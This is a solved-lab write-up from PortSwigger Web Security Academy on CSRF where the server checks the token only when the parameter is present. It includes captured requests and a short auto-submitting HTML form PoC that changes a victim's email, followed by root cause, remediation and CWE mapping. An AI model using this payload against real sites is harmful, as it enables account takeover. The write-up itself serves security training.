

CSRF Where Token Validation Depends on Token Being Present

Lab

PortSwigger Web Security Academy

Vulnerability

Cross-Site Request Forgery (CSRF)

Severity

Medium

Description

The application uses a CSRF token to protect a state-changing request. However, the server only validates the token if the `csrf` parameter is present.

If the parameter is completely removed, the server still processes the request.

This allows an attacker to create a malicious page that submits an unauthorized request using the victim's authenticated session.

Exploitation

First, the legitimate request was captured:

```
POST /my-account/change-email HTTP/1.1  
Cookie: session=...
```

```
email=test@example.com&csrf=VALID_TOKEN
```

The request was accepted with the valid token.

The `csrf` parameter was then removed:

POST /my-account/change-email HTTP/1.1

Cookie: session=...

email=attacker@example.com

The server still accepted the request, confirming that the CSRF token was not mandatory.

A basic CSRF PoC can be created:

```
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"
  method="POST">
  <input type="hidden" name="email" value="attacker@example.com">
</form>
```

```
<script>
document.forms[0].submit();
</script>
```

When an authenticated victim visits the malicious page, the browser submits the request using the victim's session.

Root Cause

The application effectively performs:

If token exists → validate it

If token is missing → process request

This is an insecure **fail-open** validation mechanism.

Impact

An attacker may be able to perform unauthorized actions on behalf of an authenticated victim, such as:

- Change account information
- Modify account settings
- Perform other state-changing actions

Remediation

The application should:

- Require a CSRF token for every protected request.
- Reject requests with missing or invalid tokens.
- Bind tokens appropriately to the user's session.
- Use **SameSite** cookies as an additional defense.
- Validate **Origin/Referer** where appropriate.

OWASP / CWE

- **OWASP:** A01 — Broken Access Control
- **CWE-352:** Cross-Site Request Forgery

Conclusion

The vulnerability occurs because the application accepts a state-changing request when the CSRF token is missing. CSRF protection should **fail closed**: missing or invalid tokens must always result in request rejection.

Lab Status: Solved